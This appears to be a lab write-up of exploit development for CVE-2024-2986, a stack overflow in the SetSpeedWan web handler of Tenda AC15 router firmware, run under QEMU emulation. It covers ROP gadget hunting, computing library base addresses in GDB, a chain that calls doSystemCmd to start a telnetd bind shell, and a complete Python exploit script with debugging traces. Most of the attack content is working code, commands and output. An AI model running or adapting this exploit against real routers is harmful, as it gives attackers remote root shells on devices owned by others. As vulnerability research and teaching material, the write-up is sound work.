Inside libc.so.0, system forks a child and executes /bin/sh -c <command>:

C
int __fastcall system(int a1)
{
  if ( !a1 )
    return 1;
  v1 = vfork();
  if ( v1 >= 0 )
  {
    if ( !v1 )
    {
      j_execl("/bin/sh", "sh", "-c", a1, v2);
      j__exit(127);
    }
    if ( j_wait4(v2, &v8, 0, 0) == -1 )
      v8 = -1;
    return v8;
  }
  else
  {
    return -1;
  }
}

Assembly:

ASM
5a270  LDR             R3, =(_GLOBAL_OFFSET_TABLE_ - 0x5A28C) ; Alternative name is '__libc_system'
5a274  CMP             R0, #0
5a278  PUSH            {R4,LR}
5a27C  SUB             SP, SP, #0x28
...
5a2BC  STR             R0, [SP,#0x30+var_18]
5a2C0  BL              vfork
...
5a320  LDR             R3, [SP,#0x30+var_24]
5a324  LDR             R0, =(aBinSh - 0x6D4F8)   ; "/bin/sh"
5a328  LDR             R1, =(aBinSh+5 - 0x6D4F8) ; "sh"
5a32c  LDR             R2, =(aC - 0x6D4F8)       ; "-c"
5a340  LDR             R3, [SP,#0x30+var_14]     ; command pointer
5a344  BL              j_execl
5a348  MOV             R0, #0x7F
5a34c  BL              j__exit
...
5a3b4  ADD             SP, SP, #0x28
5a3b8  POP             {R4,PC}

The important prologue and epilogue are:

ASM
PUSH   {R4,LR}
SUB    SP, SP, #0x28
...
ADD    SP, SP, #0x28
POP    {R4,PC}

Next, we compare a normal function invocation via BL system with an incorrect control-flow hijack using RET to system.

5.1.3 BL system

Normal execution:

Concept
caller

  BL system
  │      LR = address_after_BL
  │      PC = system

system
  PUSH {R4,LR}
  ...
  ADD SP, SP, #0x28
  POP {R4,PC}

         └── PC = saved LR = address_after_BL

Execution returns to the caller, specifically to the instruction after BL system. Nothing unusual happens.

5.1.4 RET sytem

Overflow:

Concept
vulnerable()

   POP {PC}
   │     PC = system
   │     LR = whatever value LR had before

 system
   PUSH {R4,LR}   <-- saves that whatever LR
   ...
   POP {R4,PC}

           └── PC = LR

If LR is invalid, the function crashes on return.

5.2 System Gadget

5.2.1 doSystemCmd Gadget

So the next idea was to find a BL system-style call site that would set up LR for us automatically.

Bash
arm-linux-gnueabi-objdump -d $LAB/lib/libc.so.0 | grep system | grep bl
axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ arm-linux-gnueabi-objdump -d $LAB/lib/libc.so.0 | grep system | grep bl
   16d6c:       eb010dc8        bl      5a494 <__libc_system+0x224>
   20ea4:       eb00e572        bl      5a474 <__libc_system+0x204>
   20eb4:       eb00e544        bl      5a3cc <__libc_system+0x15c>
   20ecc:       eb00e568        bl      5a474 <__libc_system+0x204>
   20eec:       eb00e536        bl      5a3cc <__libc_system+0x15c>
   20efc:       eb00e532        bl      5a3cc <__libc_system+0x15c>
   20f0c:       eb00e558        bl      5a474 <__libc_system+0x204>
   20f40:       eb00e54b        bl      5a474 <__libc_system+0x204>
   2e1c0:       eb00b0ab        bl      5a474 <__libc_system+0x204>
[...snip...]

These instructions are not call sites to system() itself. They are internal calls inside the system() implementation.

Tree
system()
   ├── internal helper call
   ├── internal helper call
   └── internal helper call

In many embedded uClibc builds, system() is not called elsewhere inside libc. That means libc may never contain a useful external BL system call site.

But httpd imports more than system:

For exploitation, doSystemCmd serves the same purpose.

readelf helps map out the runtime execution surface:

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -d $LAB/bin/httpd

Dynamic section at offset 0xef270 contains 36 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libCfm.so]
 0x00000001 (NEEDED)                     Shared library: [libcommon.so]
 0x00000001 (NEEDED)                     Shared library: [libChipApi.so]
 0x00000001 (NEEDED)                     Shared library: [libvos_util.so]
 0x00000001 (NEEDED)                     Shared library: [libz.so]
 0x00000001 (NEEDED)                     Shared library: [libpthread.so.0]
 0x00000001 (NEEDED)                     Shared library: [libnvram.so]
 0x00000001 (NEEDED)                     Shared library: [libshared.so]
 0x00000001 (NEEDED)                     Shared library: [libtpi.so]
 0x00000001 (NEEDED)                     Shared library: [libm.so.0]
 0x00000001 (NEEDED)                     Shared library: [libucapi.so]
 0x00000001 (NEEDED)                     Shared library: [libgcc_s.so.1]
 0x00000001 (NEEDED)                     Shared library: [libc.so.0]

This gives the runtime library set reachable from httpd. From there, the next step was to enumerate candidates that contain a useful BL system or BL doSystemCmd.

libcommon.so contains a promising sink:

Bash
arm-linux-gnueabi-objdump -d $/LAB/lib/libcommon.so | grep doSystemCmd
axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ arm-linux-gnueabi-objdump -d $LAB/lib/libcommon.so | grep doSystemCmd
00002f78 <doSystemCmd@plt>:
000040f0 <doSystemCmd@@Base>:
    4104:       e59f40cc        ldr     r4, [pc, #204]  ; 41d8 <doSystemCmd@@Base+0xe8>
    4174:       e59f3060        ldr     r3, [pc, #96]   ; 41dc <doSystemCmd@@Base+0xec>
    4198:       0a000003        beq     41ac <doSystemCmd@@Base+0xbc>
    4da0:       ebfff874        bl      2f78 <doSystemCmd@plt>
    7400:       ebffeedc        bl      2f78 <doSystemCmd@plt>
    7768:       ebffee02        bl      2f78 <doSystemCmd@plt>
    7860:       ebffedc4        bl      2f78 <doSystemCmd@plt>
    7958:       ebffed86        bl      2f78 <doSystemCmd@plt>
    7ba0:       ebffecf4        bl      2f78 <doSystemCmd@plt>
    9a20:       ebffe554        bl      2f78 <doSystemCmd@plt>
    9a50:       ebffe548        bl      2f78 <doSystemCmd@plt>
    9d98:       ebffe476        bl      2f78 <doSystemCmd@plt>
    9dcc:       ebffe469        bl      2f78 <doSystemCmd@plt>
    9de8:       ebffe462        bl      2f78 <doSystemCmd@plt>
    9e0c:       ebffe459        bl      2f78 <doSystemCmd@plt>
    9e1c:       ebffe455        bl      2f78 <doSystemCmd@plt>
    bf98:       ebffdbf6        bl      2f78 <doSystemCmd@plt>
    c0d4:       ebffdba7        bl      2f78 <doSystemCmd@plt>
    c104:       ebffdb9b        bl      2f78 <doSystemCmd@plt>
    c13c:       ebffdb8d        bl      2f78 <doSystemCmd@plt>
    ddec:       ebffd461        bl      2f78 <doSystemCmd@plt>
    de14:       ebffd457        bl      2f78 <doSystemCmd@plt>
    e398:       ebffd2f6        bl      2f78 <doSystemCmd@plt>
    e3c0:       ebffd2ec        bl      2f78 <doSystemCmd@plt>
   13ec8:       ebffbc2a        bl      2f78 <doSystemCmd@plt>

Each one is a candidate call gadget.

A BL doSystemCmd site usually comes with setup code for R0, because it still has to pass the command string as the first argument.

In IDA, the site at offset 0x9a50 has a particularly clean pipeline:

ASM
.text:00009A4C                 MOV             R0, R3
.text:00009A50                 BL              j_doSystemCmd
.text:00009A54                 POP             {R3,R4,R11,PC}

5.2.2 Argument Control (R0)

That reduces the gadget requirement to:

R3 = pointer to command string
PC = 0x9a4c

The remaining job is to control R3, which then flows directly into R0.

Find pop gadgets to control register values since we've owned a stack-overflow primitive:

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ ROPgadget --binary $LAB/lib/libcommon.so --only pop
Gadgets information
============================================================
0x00003e58 : pop {fp, pc}
0x00015be4 : pop {r1, pc}
0x00009a54 : pop {r3, r4, fp, pc}
0x00015c20 : pop {r3, r4, r5, r6, r7, pc}
0x00003454 : pop {r4, fp, pc}
0x00003350 : pop {r4, pc}
0x00004570 : pop {r4, r5, fp, pc}
0x00006cf8 : pop {r4, r5, r6, fp, pc}
0x000160c0 : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x0000ab98 : pop {r4, r5, r6, r7, r8, sl, fp, pc}

Unique gadgets found: 10

The one that controls both R3 and PC:

ASM
0x00015c20 : pop {r3, r4, r5, r6, r7, pc}

5.2.3 Return Flow Control (LR)

After doSystemCmd finishes, control returns to the next instruction:

ASM
9A54    POP, {R3,R4,R11,PC}

That instruction restores registers from the stack and then loads the next PC from memory.

To avoid an immediate crash after the command runs, the final PC can be set to _exit inside libc.so.0.

So the execution chain starts with the argument-control gadget:

Concept
POP {R3,R4,R5,R6,R7,PC}
      │              │
      │              └─ PC = 0x9A4C (system gadget) 

      └─  R3 = <command_string_to_execute>

Then:

ASM
9A4C    MOV  R0, R3
9A50    BL   doSystemCmd
9A54    POP  {R3,R4,R11,PC}

                        └── PC = libc:_exit

This gives:

C
doSystemCmd("<command_string>")

     _exit()

5.3 Command String

At that point, the only missing piece was the command string passed into doSystemCmd.

5.3.1 Interactive Shell

After reaching command execution through doSystemCmd, the next objective was to turn it into an interactive shell by controlling the command string that R3 points to.

A straightforward idea is to run:

C
doSystemCmd("/bin/sh");
// equivalent to
system("/bin/sh");

However, this does not produce a usable shell.

That results in:

Tree
httpd
 └── /bin/sh

But /bin/sh inherits the file descriptors of httpd:

stdin  -> httpd internal FD
stdout -> httpd internal FD
stderr -> httpd internal FD

So the shell is not attached to a network socket. The process exists, but it is not reachable in a useful way.

5.3.2 Bind Shell (telnetd)

So instead of spawning /bin/sh directly, the better option was to start a network service that spawns shells for incoming connections:

Bash
telnetd -l /bin/sh

The -l option instructs telnetd to execute /bin/sh for each client connection. In effect, this creates a bind shell: the daemon listens on the Telnet port and spawns a shell attached to the connected socket.

So the command string becomes:

"telnetd -l /bin/sh"

That produces the following process tree:

httpd
 └── telnetd -l /bin/sh
       └── /bin/sh (per connection)

The shell can then be reached remotely:

Bash
telnet <target-ip>

5.3.3 PTY Requirement

telnetd requires pseudo terminals to create interactive sessions.

If the PTY filesystem is not mounted, the daemon fails with:

Error
telnetd: can't find free pty

In the emulated environment, this was fixed with:

Bash
sudo mount -o bind /dev $LAB/dev/
sudo mount -t devpts devpts $LAB/dev/pts

5.3.4 Remote Shell Access

After running the PoC, confirm that the daemon started:

Bash
ps -aux | grep telnetd

Example output:

Bash
/usr/sbin/telnetd telnetd -l /bin/sh

Then connect to the bind shell:

Bash
telnet 192.168.200.5

Successful exploitation will then yield an interactive BusyBox shell.


6 PoC

6.1 Stack Overflow Strategy

The final exploit layout is:

Concept
Stack after overflow
--------------------------------
| padding                      |
| padding                      |
| padding                      |
|-------------------------------
| 0x15c20                      | ← overwritten return address
|-------------------------------     with ROP gadget (pop {r3 ... pc})
| r3 = ptr("command_string")   |
| r4 = junk                    |
| r5 = junk                    |
| r6 = junk                    |
| r7 = junk                    |
|-------------------------------
| pc = 0x9A4C                  |system (doSystemCmd) gadget from libcommon.so
|-------------------------------
| r3 = junk                    |
| r4 = junk                    |
| r11 = junk                   |
|-------------------------------
| pc = libc:_exit              |
--------------------------------

6.2 Address Leakage

The exploit uses gadgets and functions from:

  • libcommon.so
  • libc.so.0

As shared libraries, their base addresses are assigned at runtime when httpd starts. With ASLR disabled (randomize_va_space=0), libcommon.so and libc.so.0 are consistently loaded at fixed addresses, allowing the exploit to recover base addresses from a live process and reliably compute gadget offsets from the firmware.

This configuration is common in embedded IoT firmware, where memory randomization is often disabled or only partially implemented due to performance and legacy constraints.

In this lab, GDB runs inside a layered virtual setup:

Tree
x86 Linux host

├─ gdb-multiarch

└─ qemu-arm
      
      └─ httpd (ARM)
           
           ├─ libcommon.so
           ├─ libc.so.0
           ├─ libpthread.so
           └─ ...

So the GDB helper vmmap is not reliable to recover the actual library bases.

Yet first we could inspect the loaded shared libraries with info sharedlibrary:

axura @ labyrinth :~
pwndbg> info sharedlibrary
From        To          Syms Read   Shared Object Library
0x3fff2930  0x3fff5e90  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/ld-uClibc.so.0
0x3fb67750  0x3fb6857c  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/hook_nvram.so
0x3fb361e8  0x3fb41074  Yes         /home/axura/labs/cve-2024-2986/rootfs/lib/libCfm.so
0x3fb052f0  0x3fb184c0  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/libcommon.so
0x3faf2428  0x3faf74a8  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/libChipApi.so
0x3fae5c40  0x3fae6e68  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/libvos_util.so
0x3fac8548  0x3fad922c  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/libz.so
0x3fab01e8  0x3fab651c  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/libpthread.so.0
0x3faa25dc  0x3faa2928  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/libnvram.so
0x3fa8df9c  0x3fa95ad8  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/libshared.so
0x3f9f2acc  0x3fa3a2cc  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/libtpi.so
0x3f9d231c  0x3f9decf8  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/libm.so.0
0x3f99f5f8  0x3f9c169c  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/libucapi.so
0x3f98a7b0  0x3f99154c  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/libgcc_s.so.1
0x3f927990  0x3f96e904  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/libc.so.0
0x3f908620  0x3f908a94  Yes (*)     /home/axura/labs/cve-2024-2986/rootfs/lib/librt.so.0
(*): Shared library is missing debugging information.

These are not the actual library bases, because ELF segments are page-aligned.

The address reported by info sharedlibrary corresponds to the beginning of .text, not the ELF load base. This can be confirmed with info files:

axura @ labyrinth :~
pwndbg> info files
[...snip...]
        0x3fb052f0 - 0x3fb184c0 is .text in /home/axura/labs/cve-2024-2986/rootfs/lib/libcommon.so
        0x3f927990 - 0x3f96e904 is .text in /home/axura/labs/cve-2024-2986/rootfs/lib/libc.so.0
[...snip...]

Then use readelf to recover the section offsets:

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -S $LAB/lib/libc.so.0 | grep .text
  [ 7] .text             PROGBITS        00014990 014990 046f74 00  AX  0   0 16
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -S $LAB/lib/libcommon.so | grep .text
  [10] .text             PROGBITS        000032f0 0032f0 0131d0 00  AX  0   0  4

So the libc.so.0 base:

libc_base = 0x3f927990 - 0x0014990 
          = 0x3f913000

And the libcommon.so base:

libcommon_base = 0x3fb052f0 - 0x32f0 
               = 0x3fb02000

For the R3-control gadget in libcommon.so:

0x00015c20 : pop {r3, r4, r5, r6, r7, pc}

The runtime address becomes:

p6_r3_pc = libcommon_base + offset
         = 0x3fb02000 + 0x15c20
         = 0x3fb17c20

For the call gadget that invokes doSystemCmd in libcommon.so:

doSystemCmd = libcommon_base + offset
            = 0x3fb02000 + 0x9a4c
            = 0x3fb0ba4c

For the _exit target in libc.so.0:

axura @ labyrinth :~
pwndbg> x/i 0x3fb17c20
   0x3fb17c20:  pop     {r3, r4, r5, r6, r7, pc}
pwndbg> tel 0x3fb0ba4c
00:0000│     0x3fb0ba4c (flush_dns_cache+104) ◂— 0x3fb0ba4c
01:0004│     0x3fb0ba50 (flush_dns_cache+108) ◂— 0x3fb0ba50
02:0008│     0x3fb0ba54 (flush_dns_cache+112) ◂— 0x3fb0ba54
03:000c│     0x3fb0ba58 (flush_dns_cache+116) —▸ 0x1db18 ◂— 0x1db18
04:0010│     0x3fb0ba5c (flush_dns_cache+120) ◂— 0x3fb0ba5c
05:0014│     0x3fb0ba60 (flush_dns_cache+124) ◂— 0x3fb0ba60
06:0018│     0x3fb0ba64 (flush_dns_cache+128) ◂— 0x3fb0ba64
07:001c│     0x3fb0ba68 (flush_dns_cache+132) ◂— 0x3fb0ba68
pwndbg> tel 0x3f928904 1
00:0000│     0x3f928904 (_exit) ◂— 0xe1a04000
pwndbg> x/3i 0x3fb0ba4c
   0x3fb0ba4c <flush_dns_cache+104>:    mov     r0, r3
   0x3fb0ba50 <flush_dns_cache+108>:    bl      0x3fb04f78 <doSystemCmd@plt>
   0x3fb0ba54 <flush_dns_cache+112>:    pop     {r3, r4, r11, pc}
pwndbg> tel 0x3f928904 1
00:0000│     0x3f928904 (_exit) ◂— 0xe1a04000

So:

_exit offset = libc_base + offset
             = 0x3f913000 + 0x15904
             = 0x3f928904

Those calculated addresses can then be checked directly in GDB:

axura @ labyrinth :~
pwndbg> x/i 0x3fb17c20
   0x3fb17c20:  pop     {r3, r4, r5, r6, r7, pc}
pwndbg> tel 0x3fb0ba4c
00:0000│     0x3fb0ba4c (flush_dns_cache+104) ◂— 0x3fb0ba4c
01:0004│     0x3fb0ba50 (flush_dns_cache+108) ◂— 0x3fb0ba50
02:0008│     0x3fb0ba54 (flush_dns_cache+112) ◂— 0x3fb0ba54
03:000c│     0x3fb0ba58 (flush_dns_cache+116) —▸ 0x1db18 ◂— 0x1db18
04:0010│     0x3fb0ba5c (flush_dns_cache+120) ◂— 0x3fb0ba5c
05:0014│     0x3fb0ba60 (flush_dns_cache+124) ◂— 0x3fb0ba60
06:0018│     0x3fb0ba64 (flush_dns_cache+128) ◂— 0x3fb0ba64
07:001c│     0x3fb0ba68 (flush_dns_cache+132) ◂— 0x3fb0ba68
pwndbg> x/3i 0x3fb0ba4c
   0x3fb0ba4c <flush_dns_cache+104>:    mov     r0, r3
   0x3fb0ba50 <flush_dns_cache+108>:    bl      0x3fb04f78 <doSystemCmd@plt>
   0x3fb0ba54 <flush_dns_cache+112>:    pop     {r3, r4, r11, pc}
pwndbg> tel 0x3f928904 1
00:0000│     0x3f928904 (_exit) ◂— 0xe1a04000

Every address was perfectly matched.

6.3 Exploit

6.3.1 Startup

Before sending the exploit, we can conclude the full lab bootstrap (introduced in section 3) and wrap them into one startup script:

Bash
#!/usr/bin/env bash
#
# run_lab.sh — CVE-2024-2986 firmware harness 
#
# Usage:
#   LAB=/path/to/rootfs ./run_lab.sh
#   LAB=/path/to/rootfs ./run_lab.sh gdb
#

set -Eeuo pipefail

########################################
# Config
########################################

LAB="${LAB:?Set LAB=/path/to/rootfs}"
MODE="${1:-run}"

BRIDGE="br0"
BRIDGE_IP="192.168.200.5/24"

QEMU="/usr/bin/qemu-arm-static"
HTTPD="/bin/httpd"
GDB_PORT=1234

HOOK="/hook_nvram.so"

UDS="$LAB/uds_server.py"
SOCK="$LAB/var/cfm_socket"

PID_FILE="/tmp/qemu_httpd.pid"

########################################
# Helpers
########################################

log() { echo "[*] $*"; }

########################################
# HARD CLEAN (always safe)
########################################

hard_kill() {
    log "Force killing leftovers"

    sudo pkill -f qemu-arm-static 2>/dev/null || true
    sudo pkill -f httpd 2>/dev/null || true
    sudo pkill -f uds_server.py 2>/dev/null || true

    if [[ -f "$PID_FILE" ]]; then
        sudo kill -9 "$(cat $PID_FILE)" 2>/dev/null || true
        sudo rm -f "$PID_FILE" 2>/dev/null || true
    fi

    sudo ip link set "$BRIDGE" down 2>/dev/null || true
    sudo ip link del "$BRIDGE" 2>/dev/null || true
}

########################################
# CLEANUP (Ctrl+C)
########################################

cleanup() {
    echo
    log "Stopping lab"

    # kill tracked qemu
    if [[ -f "$PID_FILE" ]]; then
        QPID=$(cat "$PID_FILE")
        log "Killing qemu PID $QPID"
        sudo kill -TERM "$QPID" 2>/dev/null || true
        sleep 0.5
        sudo kill -KILL "$QPID" 2>/dev/null || true
        sudo rm -f "$PID_FILE" 2>/dev/null || true
    fi

    # fallback cleanup
    sudo pkill -f uds_server.py 2>/dev/null || true
    sudo pkill -f "$LAB.*httpd" 2>/dev/null || true

    stty sane 2>/dev/null || true

    log "Bridge kept alive at ${BRIDGE_IP} on ${BRIDGE}"
    log "Done"
}

trap cleanup INT TERM EXIT

########################################
# PREP
########################################

hard_kill

log "Setting up bridge"
sudo ip link add "$BRIDGE" type bridge
sudo ip addr add "$BRIDGE_IP" dev "$BRIDGE"
sudo ip link set "$BRIDGE" up

########################################
# RUN
########################################

log "Starting lab ($MODE)"

sudo -E unshare -m --propagation private bash -c "
set -Eeuo pipefail

########################################
# rcS runtime
########################################
chroot \"$LAB\" $QEMU /bin/sh -c '
mount -t ramfs none /var/
mkdir -p /var/etc /var/media /var/webroot /var/etc/iproute /var/run
cp -rf /etc_ro/* /etc/
cp -rf /webroot_ro/* /webroot/
mkdir -p /var/etc/upan
mount -a
mount -t ramfs none /dev
mkdir -p /dev/pts
mount -t devpts devpts /dev/pts
mount -t tmpfs none /var/etc/upan -o size=2M
mdev -s
'

########################################
# PTY fix
########################################
mount -o bind /dev \"$LAB/dev\"
mount -t devpts devpts \"$LAB/dev/pts\"

########################################
# START HTTPD FIRST (critical)
########################################
if [[ \"$MODE\" == \"gdb\" ]]; then
    chroot \"$LAB\" $QEMU -g $GDB_PORT -E LD_PRELOAD=$HOOK $HTTPD &
else
    chroot \"$LAB\" $QEMU -E LD_PRELOAD=$HOOK $HTTPD &
fi

HTTPD_PID=\$!
echo \$HTTPD_PID > $PID_FILE

sleep 0.5

if ! kill -0 \$HTTPD_PID 2>/dev/null; then
    echo \"[ns] httpd failed\"
    exit 1
fi

########################################
# START UDS AFTER
########################################
python3 \"$UDS\" --socket-path \"$SOCK\" --sock-type stream &

########################################
# GDB INFO
########################################
if [[ \"$MODE\" == \"gdb\" ]]; then
    echo
    echo \"[*] Attach:\"
    echo \"gdb-multiarch -ex 'set arch arm' -ex 'target remote :$GDB_PORT'\"
    echo
fi

wait \$HTTPD_PID
"

log "Lab exited"

Normal run:

Bash
./run_lab.sh

Debug mode:

Bash
./run_lab.sh gdb

Interrupt:

CTRL + C

6.3.2 EXP

In this emulated AC15 run, /goform/SetSpeedWan became reachable after the first redirect set a password=... cookie. So the script keeps a session and bootstraps that cookie before sending the overflow.

Final exploit script:

Python
import requests
from urllib.parse import quote_from_bytes
from pwn import flat


BASE_URL = "http://192.168.200.5"
TARGET = f"{BASE_URL}/goform/SetSpeedWan"

# Configure runtime addresses
LIBCOMMON_BASE = 0x3FB02000
LIBC_BASE = 0x3F913000

POP_R3_R4_R5_R6_R7_PC_OFF = 0x15C20
SYSTEM_GADGET_OFF = 0x09A4C
LIBC_EXIT_OFF = 0x15904

# Gadgets
POP_R3_R4_R5_R6_R7_PC = LIBCOMMON_BASE + POP_R3_R4_R5_R6_R7_PC_OFF
SYSTEM_GADGET = LIBCOMMON_BASE + SYSTEM_GADGET_OFF
LIBC_EXIT = LIBC_BASE + LIBC_EXIT_OFF

# sprintf consumes one continuous non-NUL %s string from speed_dir, so fill
# the payload with junk bytes to overflow the buffer
#
# CMD_PTR must point to the 't' in "telnetd", not to the beginning of the
# whole JSON response, which has 25-byte prefix 
# "{\"errCode\":0,\"speed_dir\":telnetd -l /bin/sh;aaaaa...}"
#
# In the current GDB run, the formatted buffer s for sprintf is observed as 
# 0x407fed58 - change according to runtime result
S_PTR = 0x407fed58
JSON_PREFIX_LEN = 25
CMD_PTR = S_PTR + JSON_PREFIX_LEN
CMD = b"telnetd -l /bin/sh;"

def assert_httpd_alive(session: requests.Session) -> None:
    response = session.get(f"{BASE_URL}/", allow_redirects=False, timeout=3)
    print("[*] preflight status:", response.status_code)


def bootstrap_cookie(session: requests.Session) -> None:
    response = session.get(TARGET, allow_redirects=False, timeout=5)
    print("[*] bootstrap status:", response.status_code)
    print("[*] password cookie:", session.cookies.get("password"))


def build_payload() -> bytes:
    return flat(
        {
            0x00: CMD,
            35: [
                POP_R3_R4_R5_R6_R7_PC,
                CMD_PTR,
                0x41414141,
                0x42424242,
                0x43434343,
                0x44444444,
                SYSTEM_GADGET,
                0x45454545,
                0x46464646,
                0x47474747,
                LIBC_EXIT,
            ],
        },
        filler=b"a",
        word_size=32,
    )


def exploit(session: requests.Session, payload: bytes) -> None:
    exploit_url = f"{TARGET}?speed_dir={quote_from_bytes(payload)}"
    try:
        response = session.get(exploit_url, allow_redirects=False)
        print("[*] exploit status:", response.status_code)
        print("[*] response body:", response.text[:200])
    except requests.exceptions.RequestException as e:
        print(f"[-] request ended with exception: {e}")
    finally:
        print("[*] verify telnetd / port 23 next")


if __name__ == "__main__":
    s = requests.Session()
    assert_httpd_alive(s)
    bootstrap_cookie(s)
    pl = build_payload()
    print(f"[*] payload: {pl}")
    exploit(s, pl)

The script is organized around the stack layout derived earlier:

  • offset 0x00: command string to feed speed_dir content
  • offset 35: saved return overwrite
  • following words: pop {r3, r4, r5, r6, r7, pc} chain

The full speed_dir payload has to do two jobs at once:

  • carry a usable command substring
  • remain long enough for sprintf to reach the saved return path

Fields in the payload:

  • CMD
    • the command intended for doSystemCmd
    • the command prefix placed at the beginning of the request payload to survive inside the formatted JSON buffer
  • CMD_PTR
    • pointer to the command substring inside the formatted JSON buffer on the stack
  • POP_R3_R4_R5_R6_R7_PC
    • first-stage gadget that loads R3 and pivots into the next PC
  • SYSTEM_GADGET
    • Copies R3 value to R0
    • feeds the command string to doSystemCmd(R0)
    • and pivots into the next PC we control
  • LIBC_EXIT
    • post-command tail used to terminate the hijacked path cleanly

6.3.3 Debug

Start the lab in GDB mode with run_lab.sh:

Bash
./run_lab.sh gdb

Set a breakpoint on 0x3fb0ba50 (BL doSystemCmd@plt). The following pwn.gdb script was used at the lab root:

GDB
handle SIGALRM nostop noprint pass
set sysroot /home/axura/labs/cve-2024-2986/rootfs
target remote 127.0.0.1:1234
b *0x00061998
b *0x3fb0ba50
c

Attach GDB to httpd:

Bash
gdb-multiarch -q "$LAB/bin/httpd" -x "$LAB/pwn.gdb"

Then run the exploit script:

Bash
python3 xpl.py

When formSetSpeedWan reaches the vulnerable call site, sprintf writes into its first argument s:

axura @ labyrinth :~
─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]──────────────────────────────────────────────────────────────────────
b► 0x61998 <formSetSpeedWan+748>    bl     sprintf@plt                 <sprintf@plt>
        s: 0x407fed58 ◂— 0x407fed58
        format: 0xe2edc ◂— 0xe2edc
        vararg: 0

   0x6199c <formSetSpeedWan+752>    sub    r3, r11, #0x3c
   0x619a0 <formSetSpeedWan+756>    ldr    r0, [r11, #-0x60]
   0x619a4 <formSetSpeedWan+760>    mov    r1, r3
   0x619a8 <formSetSpeedWan+764>    bl     0x9ccbc                     <0x9ccbc>

   0x619ac <formSetSpeedWan+768>    sub    sp, r11, #8
   0x619b0 <formSetSpeedWan+772>    pop    {r4, r11, pc}               <formSetSpeedWan+780>
    ↓
───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│  sp 0x407fed28 ◂— 0x407fed28
01:0004│     0x407fed2c —▸ 0x1235d0 ◂— 0x1235d0
02:0008│     0x407fed30 —▸ 0x407fedb0 ◂— 0x407fedb0
03:000c│     0x407fed34 —▸ 0x11dbe8 —▸ 0x11fe88 ◂— 0x11fe88
04:0010│     0x407fed38 ◂— 0x407fed38
05:0014│     0x407fed3c ◂— 0x407fed3c
06:0018│     0x407fed40 ◂— 0x407fed40
07:001c│     0x407fed44 ◂— 0x407fed44
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
 ► 0  0x61998 formSetSpeedWan+748
   1  0x171c8 websFormHandler+336
   2  0x18074 None
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> set $s=0x407fed58
pwndbg> x/s $s
0x407fed58:     ""

After sprintf, confirm that the payload has been written into the buffer:

axura @ labyrinth :~
─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]──────────────────────────────────────────────────────────────────────
b+ 0x61998 <formSetSpeedWan+748>    bl     sprintf@plt                 <sprintf@plt>

 ► 0x6199c <formSetSpeedWan+752>    sub    r3, r11, #0x3c        R3 => 0x407fed58 (0x407fed94 - 0x3c)
   0x619a0 <formSetSpeedWan+756>    ldr    r0, [r11, #-0x60]     R0, [0x407fed34]
   0x619a4 <formSetSpeedWan+760>    mov    r1, r3                R1 => 0x407fed58
   0x619a8 <formSetSpeedWan+764>    bl     0x9ccbc                     <0x9ccbc>

   0x619ac <formSetSpeedWan+768>    sub    sp, r11, #8
   0x619b0 <formSetSpeedWan+772>    pop    {r4, r11, pc}               <formSetSpeedWan+780>
    ↓

───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│  sp 0x407fed28 ◂— 0x407fed28
01:0004│     0x407fed2c —▸ 0x1235d0 ◂— 0x1235d0
02:0008│     0x407fed30 —▸ 0x407fedb0 ◂— 0x407fedb0
03:000c│     0x407fed34 —▸ 0x11dbe8 —▸ 0x11fe88 ◂— 0x11fe88
04:0010│     0x407fed38 ◂— 0x407fed38
05:0014│     0x407fed3c ◂— 0x407fed3c
06:0018│     0x407fed40 ◂— 0x407fed40
07:001c│     0x407fed44 ◂— 0x407fed44
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
 ► 0  0x6199c formSetSpeedWan+752
   1 0x3fb17c20 None
   2 0x3fb0ba4c flush_dns_cache+104
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s $s
0x407fed58:     "{\"errCode\":0,\"speed_dir\":telnetd -l /bin/sh;", 'a' <repeats 16 times>, " |\261?q\355\177@AAAABBBBCCCCDDDDL\272\260?EEEEFFFFGGGG\004\211\222?}"

The acutal command starts after the JSON prefix:

{"errCode":0,"speed_dir":

That prefix is 25 bytes, so our input string starts at:

0x407fed58 + 25 = 0x407fed71

… and pad with trailing junk bytes (non-null to keep sprintf reading) to connect our ROP payload.

When program hits the BL doSystemCmd breakpoint, we can see the R0 (R3) register is populated with that command string pointer (CMD_PTR in exploit script):

axura @ labyrinth :~
─────────────────────────────────────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]─────────────────────────────────────────────────────────────────
*R0   0x407fed71 ◂— 0x407fed71
